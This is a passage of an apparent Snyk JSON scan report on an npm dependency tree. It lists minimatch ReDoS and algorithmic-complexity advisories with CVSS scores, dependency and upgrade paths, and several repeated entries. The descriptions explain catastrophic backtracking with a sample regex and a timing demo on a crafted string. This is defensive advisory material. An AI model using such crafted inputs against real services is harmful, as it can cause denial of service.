nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 